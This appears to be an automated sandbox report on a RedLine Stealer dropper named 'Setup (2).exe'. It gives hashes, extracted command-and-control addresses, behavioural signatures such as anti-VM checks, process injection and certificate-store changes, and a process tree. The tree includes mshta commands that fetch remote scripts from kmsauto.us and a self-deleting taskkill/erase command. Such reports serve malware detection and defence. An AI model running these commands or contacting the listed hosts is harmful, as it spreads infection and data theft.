Overview
overview
10Static
static
Setup (1).exe
windows7_x64
Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
128s -
max time network
1847s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
27/08/2021, 15:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210408
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210410
General
-
Target
Setup (2).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
redline
205.185.119.191:18846
Extracted
redline
supertraff
135.148.139.222:1494
Extracted
redline
27.08
95.181.172.100:55640
Extracted
redline
ads
45.93.4.12:80
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2808 2512 rundll32.exe 68 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 16 IoCs
resource yara_rule behavioral23/memory/1652-194-0x0000000000350000-0x000000000036C000-memory.dmp family_redline behavioral23/memory/1652-203-0x0000000002E70000-0x0000000002E8A000-memory.dmp family_redline behavioral23/memory/2492-208-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral23/memory/2704-207-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral23/memory/2704-210-0x000000000041C6B2-mapping.dmp family_redline behavioral23/memory/2492-212-0x000000000041A6B2-mapping.dmp family_redline behavioral23/memory/2856-215-0x000000000041A67A-mapping.dmp family_redline behavioral23/memory/2704-213-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral23/memory/2856-214-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral23/memory/2492-219-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral23/memory/2856-221-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral23/memory/2952-223-0x000000000041C6B2-mapping.dmp family_redline behavioral23/memory/2812-227-0x000000000041C6B2-mapping.dmp family_redline behavioral23/memory/2240-231-0x000000000041C6B2-mapping.dmp family_redline behavioral23/memory/2472-235-0x000000000041C6B2-mapping.dmp family_redline behavioral23/memory/796-243-0x000000000041A61A-mapping.dmp family_redline -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 26 IoCs
pid Process 812 v8YJlQhnQMEaYCqBgvsuWQjJ.exe 1312 UYUqGKDLg5h7ichduzdqCa0v.exe 1296 WDXZKGDt898AWsg4fefg1rXq.exe 1536 AVi7Sc1kjM7vPO8J9cEoFR46.exe 1092 prXYINdDBWJprUJBU9cd0cgU.exe 904 0BOoy0KwshjqnIsuoaNFVIe1.exe 936 Zetd1vI0Eoi9nVMPLAZsSk6b.exe 1344 Vtpad6UPpgxzY_yVJS1mo6Zl.exe 1896 AE5U78nVBS2oKQsdvKY1sU4S.exe 1736 wcplv7T4nr3f6_sIyMrguuHl.exe 1756 3Jtj0AjcAx1JYLppVS_d8LqJ.exe 1592 hbgnSrnp1lprQ0wa3KQANliV.exe 1676 PxInVJRIPiTXGF60xricvBak.exe 1496 ykktHa9Nzp2joXGYjWpcA6lr.exe 1796 gThHQyWGMOsz_yE_Ar6vDPlh.exe 812 wzYWtyEqel6q33i3dO5VF8dj.exe 864 7FW6i_niz4ROLdMXTPbFHXgh.exe 1472 m4CRYehB0fGJ9a8BDG1CMGmm.exe 1056 wR1w_iDvkE_vXiL9h5GRytKV.exe 1804 H0dWHv23eLCKNDfbpCs3vUg3.exe 676 jHEStSlkoGkrJiIoTABJ2vBK.exe 1704 2Z7q2IMfinmOsCZiUbFC_Muh.exe 1652 BwbP8LSD9bUY_iMvDg1KrMwX.exe 1840 jr5sKvurQbQKNRFUoPMY_e_a.exe 1564 KdbFpwx0zHZOvK4ZFi9S1vGK.exe 2216 5Zy951J19zQmvKVgEpP1IdKJ.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wzYWtyEqel6q33i3dO5VF8dj.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion wzYWtyEqel6q33i3dO5VF8dj.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 3Jtj0AjcAx1JYLppVS_d8LqJ.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 3Jtj0AjcAx1JYLppVS_d8LqJ.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation Setup (2).exe -
Loads dropped DLL 37 IoCs
pid Process 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe 1984 Setup (2).exe -
resource yara_rule behavioral23/files/0x0003000000013178-103.dat themida behavioral23/files/0x0003000000013176-97.dat themida behavioral23/files/0x0003000000013174-95.dat themida behavioral23/files/0x0003000000013174-120.dat themida behavioral23/files/0x0003000000013178-141.dat themida behavioral23/files/0x0003000000013176-124.dat themida behavioral23/memory/812-188-0x0000000000E50000-0x0000000000E51000-memory.dmp themida behavioral23/memory/1756-187-0x0000000000A40000-0x0000000000A41000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA wzYWtyEqel6q33i3dO5VF8dj.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3Jtj0AjcAx1JYLppVS_d8LqJ.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ipinfo.io 21 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 812 wzYWtyEqel6q33i3dO5VF8dj.exe 1756 3Jtj0AjcAx1JYLppVS_d8LqJ.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1312 set thread context of 1712 1312 UYUqGKDLg5h7ichduzdqCa0v.exe 48 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
pid pid_target Process procid_target 756 1896 WerFault.exe 44 2696 1804 WerFault.exe 53 -
Kills process with taskkill 1 IoCs
pid Process 2628 taskkill.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C Setup (2).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (2).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Setup (2).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Setup (2).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (2).exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 138 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1984 Setup (2).exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1984 wrote to memory of 1312 1984 Setup (2).exe 32 PID 1984 wrote to memory of 1312 1984 Setup (2).exe 32 PID 1984 wrote to memory of 1312 1984 Setup (2).exe 32 PID 1984 wrote to memory of 1312 1984 Setup (2).exe 32 PID 1984 wrote to memory of 1296 1984 Setup (2).exe 33 PID 1984 wrote to memory of 1296 1984 Setup (2).exe 33 PID 1984 wrote to memory of 1296 1984 Setup (2).exe 33 PID 1984 wrote to memory of 1296 1984 Setup (2).exe 33 PID 1984 wrote to memory of 1092 1984 Setup (2).exe 34 PID 1984 wrote to memory of 1092 1984 Setup (2).exe 34 PID 1984 wrote to memory of 1092 1984 Setup (2).exe 34 PID 1984 wrote to memory of 1092 1984 Setup (2).exe 34 PID 1984 wrote to memory of 1536 1984 Setup (2).exe 36 PID 1984 wrote to memory of 1536 1984 Setup (2).exe 36 PID 1984 wrote to memory of 1536 1984 Setup (2).exe 36 PID 1984 wrote to memory of 1536 1984 Setup (2).exe 36 PID 1984 wrote to memory of 904 1984 Setup (2).exe 35 PID 1984 wrote to memory of 904 1984 Setup (2).exe 35 PID 1984 wrote to memory of 904 1984 Setup (2).exe 35 PID 1984 wrote to memory of 904 1984 Setup (2).exe 35 PID 1984 wrote to memory of 936 1984 Setup (2).exe 39 PID 1984 wrote to memory of 936 1984 Setup (2).exe 39 PID 1984 wrote to memory of 936 1984 Setup (2).exe 39 PID 1984 wrote to memory of 936 1984 Setup (2).exe 39 PID 1984 wrote to memory of 1344 1984 Setup (2).exe 38 PID 1984 wrote to memory of 1344 1984 Setup (2).exe 38 PID 1984 wrote to memory of 1344 1984 Setup (2).exe 38 PID 1984 wrote to memory of 1344 1984 Setup (2).exe 38 PID 1984 wrote to memory of 1592 1984 Setup (2).exe 37 PID 1984 wrote to memory of 1592 1984 Setup (2).exe 37 PID 1984 wrote to memory of 1592 1984 Setup (2).exe 37 PID 1984 wrote to memory of 1592 1984 Setup (2).exe 37 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1676 1984 Setup (2).exe 47 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1736 1984 Setup (2).exe 46 PID 1984 wrote to memory of 1896 1984 Setup (2).exe 44 PID 1984 wrote to memory of 1896 1984 Setup (2).exe 44 PID 1984 wrote to memory of 1896 1984 Setup (2).exe 44 PID 1984 wrote to memory of 1896 1984 Setup (2).exe 44 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1756 1984 Setup (2).exe 45 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43 PID 1984 wrote to memory of 1796 1984 Setup (2).exe 43
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"C:\Users\Admin\AppData\Local\Temp\Setup (2).exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Users\Admin\Documents\v8YJlQhnQMEaYCqBgvsuWQjJ.exe"C:\Users\Admin\Documents\v8YJlQhnQMEaYCqBgvsuWQjJ.exe"2⤵
- Executes dropped EXE
PID:812
-
-
C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1312 -
C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"C:\Users\Admin\Documents\UYUqGKDLg5h7ichduzdqCa0v.exe"3⤵PID:1712
-
-
-
C:\Users\Admin\Documents\WDXZKGDt898AWsg4fefg1rXq.exe"C:\Users\Admin\Documents\WDXZKGDt898AWsg4fefg1rXq.exe"2⤵
- Executes dropped EXE
PID:1296 -
C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com"C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com"3⤵PID:2584
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C33F.tmp\C340.tmp\C341.bat C:\Users\Admin\AppData\Local\Temp\ZhFC2GxH.com"4⤵PID:2748
-
-
-
C:\Users\Admin\AppData\Local\Temp\lqrZALOU.com"C:\Users\Admin\AppData\Local\Temp\lqrZALOU.com"3⤵PID:2648
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt4⤵PID:2776
-
-
-
C:\Users\Admin\AppData\Local\Temp\Y7DDe2S7.com"C:\Users\Admin\AppData\Local\Temp\Y7DDe2S7.com"3⤵PID:2764
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt4⤵PID:692
-
-
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe"C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe"2⤵
- Executes dropped EXE
PID:1092 -
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:268
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2704
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2952
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2420
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2812
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2240
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2472
-
-
C:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exeC:\Users\Admin\Documents\prXYINdDBWJprUJBU9cd0cgU.exe3⤵PID:2328
-
-
-
C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe"C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe"2⤵
- Executes dropped EXE
PID:904 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "0BOoy0KwshjqnIsuoaNFVIe1.exe" /f & erase "C:\Users\Admin\Documents\0BOoy0KwshjqnIsuoaNFVIe1.exe" & exit3⤵PID:2484
-
-
-
C:\Users\Admin\Documents\AVi7Sc1kjM7vPO8J9cEoFR46.exe"C:\Users\Admin\Documents\AVi7Sc1kjM7vPO8J9cEoFR46.exe"2⤵
- Executes dropped EXE
PID:1536
-
-
C:\Users\Admin\Documents\hbgnSrnp1lprQ0wa3KQANliV.exe"C:\Users\Admin\Documents\hbgnSrnp1lprQ0wa3KQANliV.exe"2⤵
- Executes dropped EXE
PID:1592
-
-
C:\Users\Admin\Documents\Vtpad6UPpgxzY_yVJS1mo6Zl.exe"C:\Users\Admin\Documents\Vtpad6UPpgxzY_yVJS1mo6Zl.exe"2⤵
- Executes dropped EXE
PID:1344
-
-
C:\Users\Admin\Documents\Zetd1vI0Eoi9nVMPLAZsSk6b.exe"C:\Users\Admin\Documents\Zetd1vI0Eoi9nVMPLAZsSk6b.exe"2⤵
- Executes dropped EXE
PID:936
-
-
C:\Users\Admin\Documents\ykktHa9Nzp2joXGYjWpcA6lr.exe"C:\Users\Admin\Documents\ykktHa9Nzp2joXGYjWpcA6lr.exe"2⤵
- Executes dropped EXE
PID:1496
-
-
